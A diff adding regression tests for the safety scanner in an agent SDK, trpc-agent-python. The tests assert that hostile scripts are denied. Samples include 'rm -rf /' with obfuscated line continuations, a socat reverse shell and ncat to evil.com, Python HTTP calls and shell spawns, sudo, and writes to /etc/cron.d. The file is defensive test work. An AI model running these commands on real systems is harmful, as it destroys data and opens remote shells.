|
| 1 | +# Tencent is pleased to support the open source community by making trpc-agent-python available. |
| 2 | +# |
| 3 | +# Copyright (C) 2026 Tencent. All rights reserved. |
| 4 | +# |
| 5 | +# trpc-agent-python is licensed under the Apache License Version 2.0 |
| 6 | +"""Regression tests for P0/P1 safety review findings.""" |
| 7 | +from __future__ import annotations |
| 8 | + |
| 9 | +from trpc_agent_sdk.safety import Decision |
| 10 | +from trpc_agent_sdk.safety import PolicyConfig |
| 11 | +from trpc_agent_sdk.safety import SafetyScanner |
| 12 | +from trpc_agent_sdk.safety import ScanInput |
| 13 | +from trpc_agent_sdk.safety import register_custom_rule |
| 14 | +from trpc_agent_sdk.safety import clear_custom_rules |
| 15 | +from trpc_agent_sdk.safety._ast_utils import bash_lines |
| 16 | +from trpc_agent_sdk.safety._ast_utils import build_import_aliases |
| 17 | +from trpc_agent_sdk.safety._ast_utils import parse_python_ast |
| 18 | +from trpc_agent_sdk.safety._ast_utils import resolve_name |
| 19 | +from trpc_agent_sdk.safety._rules import SafetyRule |
| 20 | +from trpc_agent_sdk.safety._types import RiskLevel |
| 21 | +import ast |
| 22 | + |
| 23 | + |
| 24 | +def _scan(script: str, language: str = "bash") -> object: |
| 25 | + return SafetyScanner(PolicyConfig()).scan(ScanInput(script=script, language=language)) |
| 26 | + |
| 27 | + |
| 28 | +def test_language_misclassify_echo_import_plus_rm_is_denied(): |
| 29 | + """echo 'import os' then rm -rf / must not be classified pure-python ALLOW.""" |
| 30 | + script = 'echo "import os"\nrm -rf /\n' |
| 31 | + r = _scan(script, language="") |
| 32 | + assert r.decision == Decision.DENY |
| 33 | + assert any("R001" in rid for rid in r.rule_ids) |
| 34 | + |
| 35 | + |
| 36 | +def test_forced_python_shell_payload_dual_scanned(): |
| 37 | + """language=python with pure shell body must still hit bash R001.""" |
| 38 | + r = _scan("rm -rf /", language="python") |
| 39 | + assert r.decision == Decision.DENY |
| 40 | + assert any("R001" in rid for rid in r.rule_ids) |
| 41 | + |
| 42 | + |
| 43 | +def test_python_syntax_error_with_shell_fallback(): |
| 44 | + r = _scan("def (\nrm -rf /\n", language="python") |
| 45 | + assert r.decision == Decision.DENY |
| 46 | + |
| 47 | + |
| 48 | +def test_mid_token_backslash_continuation_rm(): |
| 49 | + """Shell mid-token continuation r\\\nm -rf / must reassemble to rm -rf /.""" |
| 50 | + script = "r\\\nm -rf /" |
| 51 | + assert list(bash_lines(script))[0][1] == "rm -rf /" |
| 52 | + r = _scan(script, language="bash") |
| 53 | + assert r.decision == Decision.DENY |
| 54 | + assert any("R001" in rid for rid in r.rule_ids) |
| 55 | + |
| 56 | + |
| 57 | +def test_param_continuation_still_denied(): |
| 58 | + script = "rm \\\n-rf \\\n/" |
| 59 | + assert "rm" in list(bash_lines(script))[0][1] |
| 60 | + assert "-rf" in list(bash_lines(script))[0][1] |
| 61 | + r = _scan(script, language="bash") |
| 62 | + assert r.decision == Decision.DENY |
| 63 | + |
| 64 | + |
| 65 | +def test_http_client_import_alias_resolves(): |
| 66 | + tree = parse_python_ast("import http.client\nhttp.client.HTTPSConnection('evil.com')\n") |
| 67 | + aliases = build_import_aliases(tree) |
| 68 | + assert aliases.get("http") == "http" |
| 69 | + for node in ast.walk(tree): |
| 70 | + if isinstance(node, ast.Call): |
| 71 | + resolved = resolve_name(node.func, aliases).lower() |
| 72 | + assert resolved == "http.client.httpsconnection", resolved |
| 73 | + |
| 74 | + |
| 75 | +def test_http_client_httpsconnection_denied(): |
| 76 | + r = _scan( |
| 77 | + "import http.client\nhttp.client.HTTPSConnection('evil.com')\n", |
| 78 | + language="python", |
| 79 | + ) |
| 80 | + assert r.decision == Decision.DENY |
| 81 | + assert any("R002" in rid for rid in r.rule_ids) |
| 82 | + |
| 83 | + |
| 84 | +def test_urllib3_and_httpx_stream_denied(): |
| 85 | + for script in ( |
| 86 | + "import urllib3\nurllib3.PoolManager().request('GET','https://evil.com')\n", |
| 87 | + "import httpx\nhttpx.stream('GET','https://evil.com')\n", |
| 88 | + ): |
| 89 | + r = _scan(script, language="python") |
| 90 | + assert r.decision == Decision.DENY, script |
| 91 | + assert any("R002" in rid for rid in r.rule_ids), script |
| 92 | + |
| 93 | + |
| 94 | +def test_os_execl_and_pty_spawn_denied(): |
| 95 | + for script in ( |
| 96 | + "import os\nos.execl('/bin/sh','sh','-c','id')\n", |
| 97 | + "import os\nos.execlp('sh','sh','-c','id')\n", |
| 98 | + "import pty\npty.spawn('/bin/sh')\n", |
| 99 | + ): |
| 100 | + r = _scan(script, language="python") |
| 101 | + assert r.decision == Decision.DENY, script |
| 102 | + assert any("R003" in rid for rid in r.rule_ids), script |
| 103 | + |
| 104 | + |
| 105 | +def test_privilege_glued_paren_and_case(): |
| 106 | + for script in ("(sudo id)", "{sudo id;}", "SUDO id", "Sudo id"): |
| 107 | + r = _scan(script, language="bash") |
| 108 | + assert r.decision == Decision.DENY, script |
| 109 | + assert any("R003" in rid for rid in r.rule_ids), script |
| 110 | + |
| 111 | + |
| 112 | +def test_system_dir_mutators_denied(): |
| 113 | + for script in ( |
| 114 | + "cp /tmp/evil /usr/bin/evil", |
| 115 | + "mv /tmp/x /etc/cron.d/x", |
| 116 | + "install -m 755 e /usr/local/bin/e", |
| 117 | + "ln -s /tmp/e /etc/cron.d/e", |
| 118 | + "tee /usr/bin/evil", |
| 119 | + "sed -i s/a/b/ /etc/hosts", |
| 120 | + ): |
| 121 | + r = _scan(script, language="bash") |
| 122 | + assert r.decision == Decision.DENY, script |
| 123 | + assert any("R001" in rid for rid in r.rule_ids), script |
| 124 | + |
| 125 | + |
| 126 | +def test_shred_unlink_denied(): |
| 127 | + for script in ("shred -u /tmp/x", "unlink /tmp/x"): |
| 128 | + r = _scan(script, language="bash") |
| 129 | + assert r.decision == Decision.DENY, script |
| 130 | + |
| 131 | + |
| 132 | +def test_bash_ssh_git_clone_ncat_socat_denied(): |
| 133 | + for script in ( |
| 134 | + "ssh evil.com", |
| 135 | + "git clone https://evil.com/r.git", |
| 136 | + "ncat evil.com 4444", |
| 137 | + "socat TCP:evil.com:1 EXEC:sh", |
| 138 | + ): |
| 139 | + r = _scan(script, language="bash") |
| 140 | + assert r.decision == Decision.DENY, script |
| 141 | + assert any("R002" in rid for rid in r.rule_ids), script |
| 142 | + |
| 143 | + |
| 144 | +def test_safe_git_status_still_allowed(): |
| 145 | + r = _scan("git status\ngit log -1\n", language="bash") |
| 146 | + assert r.decision == Decision.ALLOW |
| 147 | + |
| 148 | + |
| 149 | +def test_scanner_error_is_high_fail_closed(): |
| 150 | + class BoomRule(SafetyRule): |
| 151 | + rule_id = "BOOM_TEST" |
| 152 | + rule_name = "boom" |
| 153 | + risk_type = "test" |
| 154 | + default_level = RiskLevel.HIGH |
| 155 | + languages = ("python", "bash") |
| 156 | + |
| 157 | + def check(self, scan_input, policy): |
| 158 | + raise RuntimeError("boom") |
| 159 | + |
| 160 | + clear_custom_rules() |
| 161 | + try: |
| 162 | + register_custom_rule(BoomRule()) |
| 163 | + r = SafetyScanner(PolicyConfig()).scan(ScanInput(script="print(1)", language="python")) |
| 164 | + assert any(f.rule_id == "SCANNER_ERROR" for f in r.findings) |
| 165 | + assert any(f.risk_level == RiskLevel.HIGH for f in r.findings if f.rule_id == "SCANNER_ERROR") |
| 166 | + assert r.decision == Decision.DENY |
| 167 | + finally: |
| 168 | + clear_custom_rules() |
| 169 | + |
| 170 | + |
| 171 | +def test_multi_block_filter_path_uses_per_block_scan(): |
| 172 | + """Joined multi-block must not mis-classify; per-block aggregation denies bash.""" |
| 173 | + from trpc_agent_sdk.safety._wrapper import _scan_code_input |
| 174 | + |
| 175 | + class _Blk: |
| 176 | + |
| 177 | + def __init__(self, code, language): |
| 178 | + self.code = code |
| 179 | + self.language = language |
| 180 | + |
| 181 | + class _Input: |
| 182 | + |
| 183 | + def __init__(self): |
| 184 | + self.code = "" |
| 185 | + self.language = "" |
| 186 | + self.code_blocks = [ |
| 187 | + _Blk("print('safe')", "python"), |
| 188 | + _Blk("rm -rf /", "bash"), |
| 189 | + ] |
| 190 | + |
| 191 | + report = _scan_code_input(SafetyScanner(PolicyConfig()), _Input()) |
| 192 | + assert report is not None |
| 193 | + assert report.decision == Decision.DENY |
| 194 | + |
| 195 | + |
| 196 | +def test_safety_wrapper_positional_and_block_on_review(): |
| 197 | + from trpc_agent_sdk.safety import safety_wrapper |
| 198 | + from trpc_agent_sdk.safety import SafetyDeniedError |
| 199 | + |
| 200 | + policy = PolicyConfig(block_on_review=True) |
| 201 | + |
| 202 | + @safety_wrapper(script_arg="script", policy=policy, raise_on_deny=True) |
| 203 | + def run(script: str): |
| 204 | + return "ran" |
| 205 | + |
| 206 | + # Positional must be scanned. |
| 207 | + try: |
| 208 | + run("rm -rf /") |
| 209 | + assert False, "expected SafetyDeniedError for positional rm -rf" |
| 210 | + except SafetyDeniedError: |
| 211 | + pass |
| 212 | + |
| 213 | + # block_on_review=True must intercept MEDIUM review findings. |
| 214 | + try: |
| 215 | + run(script="sleep 1 &") |
| 216 | + # sleep 1 & is MEDIUM background; with block_on_review should raise |
| 217 | + assert False, "expected SafetyDeniedError for review under block_on_review" |
| 218 | + except SafetyDeniedError: |
| 219 | + pass |
0 commit comments